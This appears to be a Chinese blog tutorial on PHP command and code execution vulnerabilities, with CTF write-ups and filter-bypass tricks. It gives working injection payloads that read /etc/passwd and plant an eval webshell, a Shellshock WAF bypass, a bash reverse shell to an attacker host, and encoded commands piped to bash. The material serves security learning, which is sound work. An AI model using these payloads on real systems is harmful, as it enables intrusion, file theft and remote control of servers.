2020-01-16
6.4k
Web安全基础学习之命令执行漏洞利用
命令执行漏洞的原理
应用程序有时需要调用一些执行系统命令的函数,比如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_open等函数可以执行系统命令。举个例子来说:后台代码这么写<?php system($_GET['cmd']); ?>
,这里的cmd参数用户是可以控制的,那么我们就可以发送请求http://example.com/?cmd=ls
来执行系统命令。
很多人喜欢把代码执行漏洞称为命令执行漏洞,因为命令执行漏洞可以执行系统命令,而代码执行漏洞也会执行系统命令,这样就比较容易混淆。它们之间的区别是:命令执行漏洞是直接调用操作系统命令,而代码执行漏洞则是靠执行代码脚本调用操作系统命令,比如:eval(system('set'))
命令执行漏洞的利用
利用条件:
代码中存在调用系统命令的函数,如exec、system等;
函数中存在我们可控的参数;
可控参数没有过滤或者过滤不严格。
比如下面的PHP代码段:
1 2 3 4 5 $uri = $request['uri' ]; $from = $request['from' ]; $to = $request['to' ]; $tmp = '/tmp/act_css_tmp_' . $uri; system('/usr/bin/wget $from -O $tmp' );
$request
变量来自用户URL的输入,最终进入到system函数里作为命令来执行,但是这段代码没有过滤用户的输入,所以可以通过如下的输入来利用命令执行漏洞:
1 ?cmd=1190&func=sync_css&uri=hi&from=;cat /etc/passwd;&to=hi&1=2
命令执行漏洞可以有如下的利用:
存在回显的话,可以直接读入各种配置文件,密码文件,数据库连接文件等等;
不存在回显的时候,可以使用时间延迟推断,类似盲注的方法。通过一些命令的延时作用来判断漏洞的存在,例如ping命令;
不能在浏览器直接看到回显,可将命令重定向到当前目录下的文件中并查看。或者用TFTP上传工具到服务器,用telnet和netcat建立反向shell,用mail通过SMTP发送结果;
查看自己的权限,可以提升权限,访问敏感数据或控制服务器。
命令执行漏洞可利用的函数
1 2 3 4 5 6 7 8 system() exec() shell_exec() passthru() pcntl_exec() popen() proc_open() 反引号
反引号
反引用的本质就是在操作系统执行该命令,此时可以造成命令注入等各种危害。
1 2 3 4 5 6 [root@ca0y1h-centos ~] ls [root@ca0y1h-centos ~] vulhub-master [root@ca0y1h-centos ~] vulhub-master
exec()/shell_exec()/passthru()
1 2 3 4 5 6 7 string exec ( string $command [, array &$output [, int &$return_var ]] ) string shell_exec ( string $cmd ) string escapeshellcmd ( string $command ) void passthru ( string $command [, int &$return_var ] )
这几个就不细说的,读名字都知道是执行shell命令,如果函数执行未过滤完善的可控参数,可以执行系统命令。
popen()/proc_open()/pcntl_exec()
1 2 3 4 5 resource popen ( string $command , string $mode ) resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) void pcntl_exec ( string $path [, array $args [, array $envs ]] )
其中popen()和proc_open()是不会直接返回执行结果的,而是返回一个文件指针,但是命令是已经执行了
代码执行漏洞可利用的函数
1 2 3 4 5 6 7 8 9 10 11 eval() assert() preg_replace() create_function() call_user_func() ob_start()
eval()函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
比如:
1 2 3 4 <?php $str = @(string )$_GET['str' ]; eval ('$str=' ".addslashes($str )." ';' ); ?>
利用方式:
1 index.php?str=${${phpinfo();}}
那么根据上面绕过过滤的方式我们就可以这样写入一句话代码了。
1 index.php?str=${${fputs(fopen('test.php','w+'),'<?php @eval(\$_POST['test'])?>')}}
assert()函数
示例代码:
1 2 3 4 <?php $a = $_GET['a' ]; assert($a); ?>
利用方式:
1 2 3 http://127.0.0.1/oscommand/1.php?a=phpinfo(); 或 http://127.0.0.1/oscommand/1.php?a=phpinfo()
eval()和assert()区别
eval()函数正确执行需要满足php的代码规范,而assert()函数则不存在这个问题,对于php的代码规范要求不高
preg_replace()函数
示例代码:
1 2 3 <?php preg_replace("//e" , $GET['test' ], "test..." ); ?>
当replacement 参数构成一个合理的php 代码字符串的时候,/e 修正符使preg_replace(),将replacement 参数当做php 代码执行。
案例:X7 Chat 2.0.5 preg_replace() PHP Code Execution
create_function()函数
在php 中使用create_function()创建一个匿名函数(lambda-style),如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行。
示例代码:
1 2 3 4 5 6 7 8 <?php error_reporting(0 ); $sort_by = $_GET['sort_by' ]; $sorter = 'strnatcasecmp' ; $databases=array ('1234' ,'4321' ); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);' ; usort($databases, create_function(‘$a, $b’, $sort_function)); ?>
首先构造出函数原型:
1 2 3 function test ($a,$b ) { return 1 * ' . $sorter . ' ($a["' . $sort_by . '" ], $b["' . $sort_by . '" ]); }
根据这个,我们可以构造payload:
1 ?sort_by=”]);}phpinfo();/*
传入后得到:
1 return 1 * strnatcasecmp($a[""]);}phpinfo();/*”], $b[""]);}phpinfo();/*”]);
很显然,经过/*
注释符
我们剩下的只有:
1 2 3 function test($a,$b){ return 1 * strnatcasecmp($a[""]);} phpinfo();
案例:WordPress <= 4.6.1 使用语言文件任意代码执行
call_user_func()函数
call_user_func(callable parameter [, mixed $… ]])
把第一个参数作为回调函数调用。
示例代码:
1 2 3 <?php call_user_func($_GET['a' ],$_GET['b' ]); ?>
利用方式:
1 index.php?a=assert&b=phpinfo()
ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
函数描述:此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。
内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
比如有如下代码:
1 2 3 4 5 $key = 'system' ; ob_start($key); echo 'ls -al' ;ob_end_flush();
因为这里的$sky被作为输出的回调函数,而我们输入的ls -al
在缓冲区,经过ob_end_flush()输出缓冲区后,可以得到system('ls -al')
,这样的操作,所以成功执行了命令。
从CTF看命令执行漏洞的利用
bugku 本地包含
打开看到代码,两个要注意的点
$a = @a =@_REQUEST[‘hello’];
eval( “var_dump($a);”);
第一个的意思就是不管你是post还是get传参,request都能获取到hello的值
第二个看到eval()命令执行函数,也就是说,eval可以执行括号内的php命令
如果可以构造一些可执行的php代码,则eval就会全部执行达到我们想要的目的,例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 hello=);print_r(file(“flag.php”) hello=);var_dump(file(“flag.php”) hello=file(“flag.php”) hello=file_get_contents(‘flag.php’) hello=);include(@$_POST[‘b’] - 在POST区域:b=php://filter/convert.base64-encode/resource=flag.php hello=);include(“php://filter/convert.base64-encode/resource=flag.php” hello=1);show_source(‘flag.php’);var_dump( hello=1);show_source(%27flag.php%27);var_dump(3
分别会有什么样的结果呢:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 eval( “var_dump();print_r(file(“flag.php”));”); eval( “var_dump();var_dump(file(“flag.php”));”); eval( “var_dump(file(“flag.php”));”); eval( “var_dump(file_get_contents(‘flag.php’));”); eval( “var_dump();include(@$_POST[‘b’]);”); eval( “var_dump();include(“php://filter/convert.base64-encode/resource=flag.php”);”); - b=php://filter/convert.base64-encode/resource=flag.php eval( “var_dump(1);show_source(‘flag.php’);var_dump();”); eval( “var_dump(1);show_source(%27flag.php%27);var_dump(3);”);
最终都可以get flag。
eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
print_r() 函数只用于输出数组。
var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。
攻防世界 command execution
ping一个 127.0.0.1 | ls …/…/…/home
只执行后面半句,看到…/…/…/home目录下的所有文件,就看到了flag.txt
查看flag.txt 用cat命令 127.0.0.1 | cat …/…/…/home/flag.txt
就可以get flag
Windows:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
Linux:
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
hackme command executor
题目地址:command-executor ——来源于 HackMe
题目涉及到的考察点:
文件包含读源码
代码分析(PHP,C)
CVE shellshock
反弹shell
Linux下输出输入重定向
首先题目提供了几个模块,第一个是man
命令的帮助文档:
选择了bash
参数发现多了一个file=bash
的请求参数,尝试使用其他命令,比如:pwd
猜测eval("man /bin/" + command)
或者一些其他的目录。
Tar Tester界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar
查看压缩包内的内容。
Cmd Exec只能执行两个命令:ls
、env
。
List Files可以列举几个目录。
再观察题目url的形式:https://command-executor.hackme.inndy.tw/index.php?func=untar
等均带有func=xxx
参数来展示页面,猜测会有文件包含漏洞,尝试使用func=php://filter/read=convert.base64-encode/resource=index
读取文件内容,成功得到回显:
我们可以用下面这个脚本分别把主页和其他四个模块的PHP源码下载下来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsimport codecsimport base64from bs4 import BeautifulSoupurl="https://command-executor.hackme.inndy.tw/index.php?func=php://filter/read=convert.base64-encode/resource=" file_list = ["index" ,"man" ,"untar" ,"ls" ,"cmd" ] for i in file_list: res = requests.get(url+i) print("dowload " +i) if res.status_code==200 : res.encoding="utf8" with codecs.open(i+".php" ,"w+" ,"utf8" ) as handle: print("done" ) text = BeautifulSoup(res.text,"lxml" ).text.split('\n' )[0 ] handle.write(base64.b64decode(text).decode('utf8' ))
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 <?php $pages = [ ['man' , 'Man' ], ['untar' , 'Tar Tester' ], ['cmd' , 'Cmd Exec' ], ['ls' , 'List files' ], ]; function fuck ($msg ) { header('Content-Type: text/plain' ); echo $msg; exit ; } $black_list = [ '\/flag' , '\(\)\s*\{\s*:;\s*\};' ]; function waf ($a ) { global $black_list; if (is_array($a)) { foreach ($a as $key => $val) { waf($key); waf($val); } } else { foreach ($black_list as $b) { if (preg_match("/$b /" , $a) === 1 ) { fuck("$b detected! exit now." ); } } } } waf($_SERVER); waf($_GET); waf($_POST); function execute ($cmd, $shell='bash' ) { system(sprintf('%s -c %s' , $shell, escapeshellarg($cmd))); } foreach ($_SERVER as $key => $val) { if (substr($key, 0 , 5 ) === 'HTTP_' ) { putenv("$key =$val " ); } } $page = '' ; if (isset ($_GET['func' ])) { $page = $_GET['func' ]; if (strstr($page, '..' ) !== false ) { $page = '' ; } } if ($page && strlen($page) > 0 ) { try { include ("$page .php" ); } catch (Exception $e) { } } function render_default ( ) { ?> <p>Welcome to use our developer assistant service . We provide servial useless features to make your developing life harder .</p > <img src ="windows -run .jpg " alt ="command executor "> <?php } ?><!DOCTYPE html > <html lang ="en "> <head > <meta charset ="UTF -8"> <title >Command Executor </title > <link rel ="stylesheet " href ="bootstrap /css /bootstrap .min .css " media ="all "> <link rel ="stylesheet " href ="comic -neue /font .css " media ="all "> <style > nav { margin -bottom : 1rem ; } img { max-width: 100 %; } </style> </head> <body> <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex"> <a class="navbar-brand" href="index.php">Command Executor</a> <ul class="navbar-nav"> <?php foreach ($pages as list ($file, $title)): ?> <li class="nav-item"> <a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a> </li> <?php endforeach ; ?> </ul> </nav> <div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div> </body> </html>
man.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php function render ( ) { $file = 'man' ; if (isset ($_GET['file' ])) { $file = (string )$_GET['file' ]; if (preg_match('/^[\w\-]+$/' , $file) !== 1 ) { echo '<pre>Invalid file name!</pre>' ; return ; } } echo '<h1>Online documents</h1>' ; $cmds = [ 'bash' , 'ls' , 'cp' , 'mv' ]; echo '<ul>' ; foreach ($cmds as $cmd) { printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>' , $cmd); } echo '</ul>' ; printf('<h2>$ man %s</h2>' , htmlentities($file)); echo '<pre>' ; execute(sprintf('man %s | cat' , escapeshellarg($file))); echo '</pre>' ; } ?>
untar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php function render ( ) {?> <h1>Tar file tester</h1> <p>Please upload a tar file to test</p> <form enctype="multipart/form-data" action="index.php?func=untar" method="POST" > <input type="file" name="tarfile" id="tarfile" > <input class="btn btn-primary" type="submit" value="Upload & Test"> </form> <?php if (isset ($_FILES['tarfile' ])) { printf('<h2>$ tar -tvf %s</h2>' , htmlentities($_FILES['tarfile' ]['name' ])); echo '<pre>' ; execute(sprintf('tar -tvf %s 2>&1' , escapeshellarg($_FILES['tarfile' ]['tmp_name' ]))); echo '</pre>' ; } } ?>
cmd.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php function render ( ) { $cmd = '' ; if (isset ($_GET['cmd' ])) { $cmd = (string )$_GET['cmd' ]; } ?> <h1>Command Execution</h1> <?php echo '<ul>' ; $cmds = ['ls' , 'env' ]; foreach ($cmds as $c) { printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>' , $c); } echo '</ul>' ; ?> <form action="index.php" method="GET" > <input type="hidden" name="func" value="cmd" > <div class="input-group"> <input class="form-control" type="text" name="cmd" id="cmd"> <div class="input-group-append"> <input class="btn btn-primary" type="submit" value="Execute"> </div> </div> </form> <script>cmd.focus();</script> <?php if (strlen($cmd) > 0 ) { printf('<h2>$ %s</h2>' , htmlentities($cmd)); echo '<pre>' ; switch ($cmd) { case 'env' : case 'ls' : case 'ls -l' : case 'ls -al' : execute($cmd); break ; case 'cat flag' : echo '<img src="cat-flag.png" alt="cat flag">' ; break ; default : printf('%s: command not found' , htmlentities($cmd)); } echo '</pre>' ; } } ?>
ls.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php function render ( ) { $file = '.' ; if (isset ($_GET['file' ])) { $file = (string )$_GET['file' ]; } echo '<h1>Dictionary Traversal</h1>' ; echo '<ul>' ; $dirs = ['.' , '..' , '../..' , '/etc/passwd' ]; foreach ($dirs as $dir) { printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>' , $dir); } echo '</ul>' ; printf('<h2>$ ls %s</h2>' , htmlentities($file)); echo '<pre>' ; execute(sprintf('ls -l %s' , escapeshellarg($file))); echo '</pre>' ; } ?>
接下来我们就可以利用ls.php
来找flag
了,因为ls.php
没什么过滤,所以用func=ls&file=../../../
可以发现根目录下的文件:
接下来就是考虑怎么读flag
、flag-reader
和flag-reader.c
这三个文件了。
untar.php
默认执行tar -tvf
命令没有可利用的地方,man.php
有用户可控制的参数file
,但是preg_match('/^[\w\-]+$/', $file) !== 1
限制的比较死,而cmd.php
给出了env
命令,显示了当前bash的环境变量,而且,在index.php
中也有一个比较特殊的PHP函数putenv
:
比较容易让人想到也可以比较容易搜到ShellShock
漏洞。
Bash破壳漏洞原理介绍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $black_list = [ '\/flag' , '\(\)\s*\{\s*:;\s*\};' ]; function waf ($a ) { global $black_list; if (is_array($a)) { foreach ($a as $key => $val) { waf($key); waf($val); } } else { foreach ($black_list as $b) { if (preg_match("/$b /" , $a) === 1 ) { fuck("$b detected! exit now." ); } } } } waf($_SERVER); waf($_GET); waf($_POST); function execute ($cmd, $shell='bash' ) { system(sprintf('%s -c %s' , $shell, escapeshellarg($cmd))); } foreach ($_SERVER as $key => $val) { if (substr($key, 0 , 5 ) === 'HTTP_' ) { putenv("$key =$val " ); } }
关键就在putenv
函数,由于ShellShock
漏洞 padyload 需要参数,我们就可以利用putenv
实现参数传递,直接设置User-agent: () { :;}; echo 222222
,发现被 waf。
从最后一个foreach中可以看到,它会把以HTTP_开头的元素设置到环境变量中,在一次HTTP请求中,有如下字段符合要求:
HTTP_ACCEPT_LANGUAGE: zh-CN,zh;q=0.9
HTTP_ACCEPT_ENCODING: gzip, deflate, br
HTTP_SEC_FETCH_MODE: navigate
HTTP_SEC_FETCH_SITE: cross-site HTTP_ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/ ;q=0.8,application/signed-exchange;v=b3;q=0.9
HTTP_SEC_FETCH_USER: ?1
HTTP_USER_AGENT: test
HTTP_UPGRADE_INSECURE_REQUESTS: 1
HTTP_CACHE_CONTROL: max-age=0
HTTP_CONNECTION: keep-alive
HTTP_HOST: localhost
这里面HTTP_USER_AGENT比较好利用。
查看这个正则表达式,发现可以在中间的};
中间加一个空格绕过,即User-agent: () { : ;}; echo test
可以正常回显,再回来看那三个文件,flag
需要root权限读,那么先从flag-reader.c
下手,设置User-Agent: () { : ;}; cat /?lag-reader.c
,发现flag
被屏蔽,使用*
通配符绕过:() { : ;}; /bin/cat /fla*.c
,读到flag-reader.c文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <unistd.h> #include <syscall.h> #include <fcntl.h> #include <string.h> int main (int argc, char *argv[]) { char buff[4096 ], rnd[16 ], val[16 ]; if (syscall(SYS_getrandom, &rnd, sizeof (rnd), 0 ) != sizeof (rnd)) { write(1 , "Not enough random\n" , 18 ); } setuid(1337 ); seteuid(1337 ); alarm(1 ); write(1 , &rnd, sizeof (rnd)); read(0 , &val, sizeof (val)); if (memcmp (rnd, val, sizeof (rnd)) == 0 ) { int fd = open(argv[1 ], O_RDONLY); if (fd > 0 ) { int s = read(fd, buff, 1024 ); if (s > 0 ) { write(1 , buff, s); } close(fd); } else { write(1 , "Can not open file\n" , 18 ); } } else { write(1 , "Wrong response\n" , 16 ); } }
审计这个C源程序,大致原理就是:1秒之内把他输出的随机字符串再输入回去,就可以打出文件内容。
所以目标就是通过flag-reader flag
命令来读取flag
文件中的内容,我们可以通过反弹shell和重定向来达到这目的,我们将输出写到某个文件中,再自动输入即可。
先阿里云上监听11000端口,再利用shellshock漏洞执行() { : ; }; /bin/bash -i >& /dev/tcp/your ip/port 0>&1
反弹shell可以看这里
反弹shell这里卡了我一天的时间,命令应该是执行成功了,但是就是在阿里云主机上没有回显,最后发现不仅要配置安全组还要在centos上对开放这个端口的防火墙。
我们再去找可写目录,发现 /var/tmp具有写权限
我们再构造payload:() { : ; }; flag-reader flag > /var/tmp/ca01h < /var/tmp/ca01h
,查看cat ca01h
,得到flag:
命令执行的绕过方式
空格过滤
空格可以用以下字符代替:
%20(space)、%09(tab)、$IFS$9、 ${IFS}
$IFS
在linux下表示分隔符,但是如果单纯的cat$IFS2
,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}
就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9
呢,因为$9
只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
一些命令分隔符
1 2 linux中:%0a 、%0d 、; 、& 、| 、&&、|| windows中:%0a、&、|、%1a(作为.bat文件中的命令分隔符)
在 shell 中,担任连续指令功能的符号就是;
。
&
放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个&
实现这个目的。
管道符"|"左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示。
我们来看一个实例,测试代码如下:
1 2 3 4 5 6 7 8 <?php $file_name = $_GET["path" ]; if (!preg_match("/^[\/a-zA-Z0-9-_\\s]+.rpt$/m" , $file_name)) { echo "regex failed" ; } else { echo exec("/usr/bin/file -i -b " . $file_name); } ?>
这个程序的含义就是匹配文件名由字母、数字、下划线、破则号、斜杠、空白字符各种组合的并且后缀名是rpt的文件,如果匹配成功,就执行系统命令file打印文件的类型和编码信息,如果匹配失败就打印’regex failed’。
攻击点在\\s
正则过滤上,\\s
意思是匹配任何空白字符,何为空白字符,就是常见的[trnf] (Tab、回车、换行、换页)等特殊字符,这里换行符就很危险,换行符在其他场景可能没有风险,但是在shell环境下,就有可能造成命令注入,看看下面这段payload:
%0a是URL编码后的换行符,在shell的环境中执行:
因为在shell环境中多个命令的分隔符除了;之外还有换行符,上述payload 传入shell之后,就变成两条命令执行:
1 2 3 file -i -b file%0A id%0A .rpt
所以就出现了打印id命令执行的内容。
要解决这个绕过可以把\\s
直接换成空格,即preg_match("/^[\/a-zA-Z0-9-_ ]+.rpt$/m", $file_name)
,但是仍然可以构造payload来注入命令:
在php中,/m表示开启多行匹配模式,开启多行匹配模式之后^和$的含义就发生了变化,没开启多行模式之前(即单行匹配模式), ^ 和$ 是匹配字符串的开始和结尾,开启多行模式之后,多行模式^,$可以匹配每行的开头和结尾,所以上述payload里面含有换行符,被当做两行处理,一行匹配OK即可,所以进入了exec执行分支,进而导致命令执行。
花括号的其他用法
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令:
黑名单绕过
拼接绕过
a=l;b=s;$a$b
直接参考一道代码审计的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <center> <h2>calc</h2> <?php $str=""; if(!empty($_GET)){ $str=$_GET["calc"]; if(strpos($str,"#")!==false) die; if(strpos($str,"`")!==false) die; if(strpos($str,"flag")!==false) die; } ?> <form action="./index.php"> input: <input type="text" name="calc" value="<?php echo $str;?>"> <input type="submit" value="Submit"> </form> <?php echo "result:".shell_exec("echo $str | bc"); ?> </center> <?php show_source(__FILE__);
这里过滤了"#、`“和"flag”
payload:?calc=1;a=fl;b=ag;cat $a$b;1
用字符串拼接绕过flag,用;
绕过| bc
编码绕过
base64:
1 2 echo MTIzCg==|base64 -d 其将会打印123 echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag
hex:
1 echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
oct:
1 2 3 4 5 $(printf "\154\163") ==>ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?> ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
单引号和双引号绕过
或
反斜杠绕过
Shell特殊变量绕过
变量
含义
$0
当前脚本的文件名
$n
传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$#
传递给脚本或函数的参数个数
$*
传递给脚本或函数的所有参数,而参数不存在时其值为空。
$@
传递给脚本或函数的所有参数,而参数不存在时其值为空。被双引号包含时,与$*稍有不同
$?
上个命令的退出状态,或函数的返回值
$$
当前shell进程ID
比如:ca$@t fla$@g
长度限制
https://www.freebuf.com/articles/web/154453.html
看这篇文章的时候对*v
为什么等价于rev v
很疑惑,后来知道了Bash 接收到命令以后,发现里面有通配符,会进行通配符扩展,然后再执行命令。也就是*v先扩展为rev v
然后再执行。
通配符
有关命令通配符的教程:http://www.ruanyifeng.com/blog/2018/09/bash-wildcards.html